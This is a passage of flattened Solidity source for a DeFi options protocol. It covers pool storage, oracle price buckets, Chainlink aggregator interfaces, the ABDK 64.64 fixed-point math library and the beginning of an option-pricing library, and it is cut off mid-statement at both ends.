0xb333333333333333) { cLevel64x64 = int128(0xb333333333333333); // 64x64 fixed point representation of 0.7 } } /** * @notice set C-Level to arbitrary pre-calculated value * @param cLevel64x64 new C-Level of pool * @param isCallPool whether to update C-Level for call or put pool */ function setCLevel( Layout storage l, int128 cLevel64x64, bool isCallPool ) internal { if (isCallPool) { l.cLevelUnderlying64x64 = cLevel64x64; l.cLevelUnderlyingUpdatedAt = block.timestamp; } else { l.cLevelBase64x64 = cLevel64x64; l.cLevelBaseUpdatedAt = block.timestamp; } } function setOracles( Layout storage l, address baseOracle, address underlyingOracle ) internal { require( AggregatorV3Interface(baseOracle).decimals() == AggregatorV3Interface(underlyingOracle).decimals(), "Pool: oracle decimals must match" ); l.baseOracle = baseOracle; l.underlyingOracle = underlyingOracle; } function fetchPriceUpdate(Layout storage l) internal view returns (int128 price64x64) { int256 priceUnderlying = AggregatorInterface(l.underlyingOracle) .latestAnswer(); int256 priceBase = AggregatorInterface(l.baseOracle).latestAnswer(); return ABDKMath64x64.divi(priceUnderlying, priceBase); } /** * @notice set price update for hourly bucket corresponding to given timestamp * @param l storage layout struct * @param timestamp timestamp to update * @param price64x64 64x64 fixed point representation of price */ function setPriceUpdate( Layout storage l, uint256 timestamp, int128 price64x64 ) internal { uint256 bucket = timestamp / (1 hours); l.bucketPrices64x64[bucket] = price64x64; l.priceUpdateSequences[bucket >> 8] += 1 << (255 - (bucket & 255)); } /** * @notice get price update for hourly bucket corresponding to given timestamp * @param l storage layout struct * @param timestamp timestamp to query * @return 64x64 fixed point representation of price */ function getPriceUpdate(Layout storage l, uint256 timestamp) internal view returns (int128) { return l.bucketPrices64x64[timestamp / (1 hours)]; } /** * @notice get first price update available following given timestamp * @param l storage layout struct * @param timestamp timestamp to query * @return 64x64 fixed point representation of price */ function getPriceUpdateAfter(Layout storage l, uint256 timestamp) internal view returns (int128) { // price updates are grouped into hourly buckets uint256 bucket = timestamp / (1 hours); // divide by 256 to get the index of the relevant price update sequence uint256 sequenceId = bucket >> 8; // get position within sequence relevant to current price update uint256 offset = bucket & 255; // shift to skip buckets from earlier in sequence uint256 sequence = (l.priceUpdateSequences[sequenceId] << offset) >> offset; // iterate through future sequences until a price update is found // sequence corresponding to current timestamp used as upper bound uint256 currentPriceUpdateSequenceId = block.timestamp / (256 hours); while (sequence == 0 && sequenceId <= currentPriceUpdateSequenceId) { sequence = l.priceUpdateSequences[++sequenceId]; } // if no price update is found (sequence == 0) function will return 0 // this should never occur, as each relevant external function triggers a price update // the most significant bit of the sequence corresponds to the offset of the relevant bucket uint256 msb; for (uint256 i = 128; i > 0; i >>= 1) { if (sequence >> i > 0) { msb += i; sequence >>= i; } } return l.bucketPrices64x64[((sequenceId + 1) << 8) - msb - 1]; } function fromBaseToUnderlyingDecimals(Layout storage l, uint256 value) internal view returns (uint256) { int128 valueFixed64x64 = ABDKMath64x64Token.fromDecimals( value, l.baseDecimals ); return ABDKMath64x64Token.toDecimals( valueFixed64x64, l.underlyingDecimals ); } function fromUnderlyingToBaseDecimals(Layout storage l, uint256 value) internal view returns (uint256) { int128 valueFixed64x64 = ABDKMath64x64Token.fromDecimals( value, l.underlyingDecimals ); return ABDKMath64x64Token.toDecimals(valueFixed64x64, l.baseDecimals); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC1155Metadata interface */ interface IERC1155Metadata { /** * @notice get generated URI for given token * @return token URI */ function uri(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorInterface { function latestAnswer() external view returns ( int256 ); function latestTimestamp() external view returns ( uint256 ); function latestRound() external view returns ( uint256 ); function getAnswer( uint256 roundId ) external view returns ( int256 ); function getTimestamp( uint256 roundId ) external view returns ( uint256 ); event AnswerUpdated( int256 indexed current, uint256 indexed roundId, uint256 updatedAt ); event NewRound( uint256 indexed roundId, address indexed startedBy, uint256 startedAt ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { EnumerableSet } from '../../../utils/EnumerableSet.sol'; library ERC1155EnumerableStorage { struct Layout { mapping(uint256 => uint256) totalSupply; mapping(uint256 => EnumerableSet.AddressSet) accountsByToken; mapping(address => EnumerableSet.UintSet) tokensByAccount; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.ERC1155Enumerable'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.8.0; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { unchecked { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { unchecked { return int64 (x >> 64); } } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { unchecked { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (int256 (x << 64)); } } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { unchecked { require (x >= 0); return uint64 (uint128 (x >> 64)); } } /** * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { unchecked { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { unchecked { return int256 (x) << 64; } } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { unchecked { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { unchecked { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (int256 (x)) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { unchecked { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { unchecked { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { unchecked { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } } /** * Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return -x; } } /** * Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return x < 0 ? -x : x; } } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { unchecked { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { unchecked { return int128 ((int256 (x) + int256 (y)) >> 1); } } /** * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function gavg (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 m = int256 (x) * int256 (y); require (m >= 0); require (m < 0x4000000000000000000000000000000000000000000000000000000000000000); return int128 (sqrtu (uint256 (m))); } } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow (int128 x, uint256 y) internal pure returns (int128) { unchecked { bool negative = x < 0 && y & 1 == 1; uint256 absX = uint128 (x < 0 ? -x : x); uint256 absResult; absResult = 0x100000000000000000000000000000000; if (absX <= 0x10000000000000000) { absX <<= 63; while (y != 0) { if (y & 0x1 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x2 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x4 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; if (y & 0x8 != 0) { absResult = absResult * absX >> 127; } absX = absX * absX >> 127; y >>= 4; } absResult >>= 64; } else { uint256 absXShift = 63; if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; } if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; } if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; } if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; } if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; } if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; } uint256 resultShift = 0; while (y != 0) { require (absXShift < 64); if (y & 0x1 != 0) { absResult = absResult * absX >> 127; resultShift += absXShift; if (absResult > 0x100000000000000000000000000000000) { absResult >>= 1; resultShift += 1; } } absX = absX * absX >> 127; absXShift <<= 1; if (absX >= 0x100000000000000000000000000000000) { absX >>= 1; absXShift += 1; } y >>= 1; } require (resultShift < 64); absResult >>= 64 - resultShift; } int256 result = negative ? -int256 (absResult) : int256 (absResult); require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate sqrt (x) rounding down. Revert if x < 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sqrt (int128 x) internal pure returns (int128) { unchecked { require (x >= 0); return int128 (sqrtu (uint256 (int256 (x)) << 64)); } } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2 (int128 x) internal pure returns (int128) { unchecked { require (x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = msb - 64 << 64; uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb); for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256 (b); } return int128 (result); } } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln (int128 x) internal pure returns (int128) { unchecked { require (x > 0); return int128 (int256 ( uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128)); } } /** * Calculate binary exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp_2 (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow uint256 result = 0x80000000000000000000000000000000; if (x & 0x8000000000000000 > 0) result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128; if (x & 0x4000000000000000 > 0) result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128; if (x & 0x2000000000000000 > 0) result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128; if (x & 0x1000000000000000 > 0) result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128; if (x & 0x800000000000000 > 0) result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128; if (x & 0x400000000000000 > 0) result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128; if (x & 0x200000000000000 > 0) result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128; if (x & 0x100000000000000 > 0) result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128; if (x & 0x80000000000000 > 0) result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128; if (x & 0x40000000000000 > 0) result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128; if (x & 0x20000000000000 > 0) result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128; if (x & 0x10000000000000 > 0) result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128; if (x & 0x8000000000000 > 0) result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128; if (x & 0x4000000000000 > 0) result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128; if (x & 0x2000000000000 > 0) result = result * 0x1000162E525EE054754457D5995292026 >> 128; if (x & 0x1000000000000 > 0) result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128; if (x & 0x800000000000 > 0) result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128; if (x & 0x400000000000 > 0) result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128; if (x & 0x200000000000 > 0) result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128; if (x & 0x100000000000 > 0) result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128; if (x & 0x80000000000 > 0) result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128; if (x & 0x40000000000 > 0) result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128; if (x & 0x20000000000 > 0) result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128; if (x & 0x10000000000 > 0) result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128; if (x & 0x8000000000 > 0) result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128; if (x & 0x4000000000 > 0) result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128; if (x & 0x2000000000 > 0) result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128; if (x & 0x1000000000 > 0) result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128; if (x & 0x800000000 > 0) result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128; if (x & 0x400000000 > 0) result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128; if (x & 0x200000000 > 0) result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128; if (x & 0x100000000 > 0) result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128; if (x & 0x80000000 > 0) result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128; if (x & 0x40000000 > 0) result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128; if (x & 0x20000000 > 0) result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128; if (x & 0x10000000 > 0) result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128; if (x & 0x8000000 > 0) result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128; if (x & 0x4000000 > 0) result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128; if (x & 0x2000000 > 0) result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128; if (x & 0x1000000 > 0) result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128; if (x & 0x800000 > 0) result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128; if (x & 0x400000 > 0) result = result * 0x100000000002C5C85FDF477B662B26945 >> 128; if (x & 0x200000 > 0) result = result * 0x10000000000162E42FEFA3AE53369388C >> 128; if (x & 0x100000 > 0) result = result * 0x100000000000B17217F7D1D351A389D40 >> 128; if (x & 0x80000 > 0) result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128; if (x & 0x40000 > 0) result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128; if (x & 0x20000 > 0) result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128; if (x & 0x10000 > 0) result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128; if (x & 0x8000 > 0) result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128; if (x & 0x4000 > 0) result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128; if (x & 0x2000 > 0) result = result * 0x1000000000000162E42FEFA39F02B772C >> 128; if (x & 0x1000 > 0) result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128; if (x & 0x800 > 0) result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128; if (x & 0x400 > 0) result = result * 0x100000000000002C5C85FDF473DEA871F >> 128; if (x & 0x200 > 0) result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128; if (x & 0x100 > 0) result = result * 0x100000000000000B17217F7D1CF79E949 >> 128; if (x & 0x80 > 0) result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128; if (x & 0x40 > 0) result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128; if (x & 0x20 > 0) result = result * 0x100000000000000162E42FEFA39EF366F >> 128; if (x & 0x10 > 0) result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128; if (x & 0x8 > 0) result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128; if (x & 0x4 > 0) result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128; if (x & 0x2 > 0) result = result * 0x1000000000000000162E42FEFA39EF358 >> 128; if (x & 0x1 > 0) result = result * 0x10000000000000000B17217F7D1CF79AB >> 128; result >>= uint256 (int256 (63 - (x >> 64))); require (result <= uint256 (int256 (MAX_64x64))); return int128 (int256 (result)); } } /** * Calculate natural exponent of x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function exp (int128 x) internal pure returns (int128) { unchecked { require (x < 0x400000000000000000); // Overflow if (x < -0x400000000000000000) return 0; // Underflow return exp_2 ( int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128)); } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu (uint256 x, uint256 y) private pure returns (uint128) { unchecked { require (y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1); require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert (xh == hi >> 128); result += xl / y; } require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128 (result); } } /** * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer * number. * * @param x unsigned 256-bit integer number * @return unsigned 128-bit integer number */ function sqrtu (uint256 x) private pure returns (uint128) { unchecked { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128 (r < r1 ? r : r1); } } } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {ABDKMath64x64} from "abdk-libraries-solidity/ABDKMath64x64.sol"; library ABDKMath64x64Token { using ABDKMath64x64 for int128; /** * @notice convert 64x64 fixed point representation of token amount to decimal * @param value64x64 64x64 fixed point representation of token amount * @param decimals token display decimals * @return value decimal representation of token amount */ function toDecimals(int128 value64x64, uint8 decimals) internal pure returns (uint256 value) { value = value64x64.mulu(10**decimals); } /** * @notice convert decimal representation of token amount to 64x64 fixed point * @param value decimal representation of token amount * @param decimals token display decimals * @return value64x64 64x64 fixed point representation of token amount */ function fromDecimals(uint256 value, uint8 decimals) internal pure returns (int128 value64x64) { value64x64 = ABDKMath64x64.divu(value, 10**decimals); } /** * @notice convert 64x64 fixed point representation of token amount to wei (18 decimals) * @param value64x64 64x64 fixed point representation of token amount * @return value wei representation of token amount */ function toWei(int128 value64x64) internal pure returns (uint256 value) { value = toDecimals(value64x64, 18); } /** * @notice convert wei representation (18 decimals) of token amount to 64x64 fixed point * @param value wei representation of token amount * @return value64x64 64x64 fixed point representation of token amount */ function fromWei(uint256 value) internal pure returns (int128 value64x64) { value64x64 = fromDecimals(value, 18); } } // SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {ABDKMath64x64} from "abdk-libraries-solidity/ABDKMath64x64.sol"; library OptionMath { using ABDKMath64x64 for int128; struct QuoteArgs { int128 varianceAnnualized64x64; // 64x64 fixed point representation of annualized variance int128 strike64x64; // 64x64 fixed point representation of strike price int128 spot64x64; // 64x64 fixed point representation of spot price int128 timeToMaturity64x64; // 64x64 fixed point representation of duration of option contract (in years) int128 oldCLevel64x64; // 64x64 fixed point representation of C-Level of Pool before purchase int128 oldPoolState; // 64x64 fixed point representation of current state of the pool int128 newPoolState; // 64x64 fixed point representation of state of the pool after trade int128 steepness64x64; // 64x64 fixed point representation of Pool state delta multiplier int128 minAPY64x64; // 64x64 fixed point representation of minimum APY for capital locked up to underwrite options bool isCall; // whether to price "call" or "put" option } struct CalculateCLevelDecayArgs { int128 timeIntervalsElapsed64x64; // 64x64 fixed point representation of quantity of discrete arbitrary intervals elapsed since last update int128 oldCLevel64x64; // 64x64 fixed point representation of C-Level prior to accounting for decay int128 utilization64x64; // 64x64 fixed point representation of pool capital utilization rate int128 utilizationLowerBound64x64; int128 utilizationUpperBound64x64; int128 cLevelLowerBound64x64; int128 cLevelUpperBound64x64; int128 cConvergenceULowerBound64x64; int128 cConvergenceUUpperBound64x64; } // 64x64 fixed point integer constants int128 internal constant ONE_64x64 = 0x10000000000000000; int128 internal constant THREE_64x64 = 0x30000000000000000; // 64x64 fixed point constants used in Choudhury’s approximation of the Black-Scholes CDF int128 private constant CDF_CONST_0 = 0x09109f285df452394; // 2260 / 3989 int128 private constant CDF_CONST_1 = 0x19abac0ea1da65036; // 6400 / 3989 int128 private constant CDF_CONST_2 = 0x0d3c84b78b749bd6b; // 3300 / 3989 /** * @notice recalculate C-Level based on change in liquidity * @param initialCLevel64x64 64x64 fixed point representation of C-Level of Pool before update * @param oldPoolState64x64 64x64 fixed point representation of liquidity in pool before update * @param newPoolState64x64 64x64 fixed point representation of liquidity in pool after update * @param steepness64x64 64x64 fixed point representation of steepness coefficient * @return 64x64 fixed point representation of new C-Level */ function calculateCLevel( int128 initialCLevel64x64, int128 oldPoolState64x64, int128 newPoolState64x64, int128 steepness64x64 ) external pure returns (int128) { return newPoolState64x64 .sub(oldPoolState64x64) .div( oldPoolState64x64 > newPoolState64x64 ? oldPoolState64x64 : newPoolState64x64 ) .mul(steepness64x64) .neg() .exp() .mul(initialCLevel64x64); } /** * @notice calculate the price of an option using the Premia Finance model * @param args arguments of quotePrice * @return premiaPrice64x64 64x64 fixed point representation of Premia option price * @return cLevel64x64 64x64 fixed point representation of C-Level of Pool after purchase */ function quotePrice(QuoteArgs memory args) external pure returns ( int128 premiaPrice64x64, int128 cLevel64x64, int128 slippageCoefficient64x64 ) { int128 deltaPoolState64x64 = args 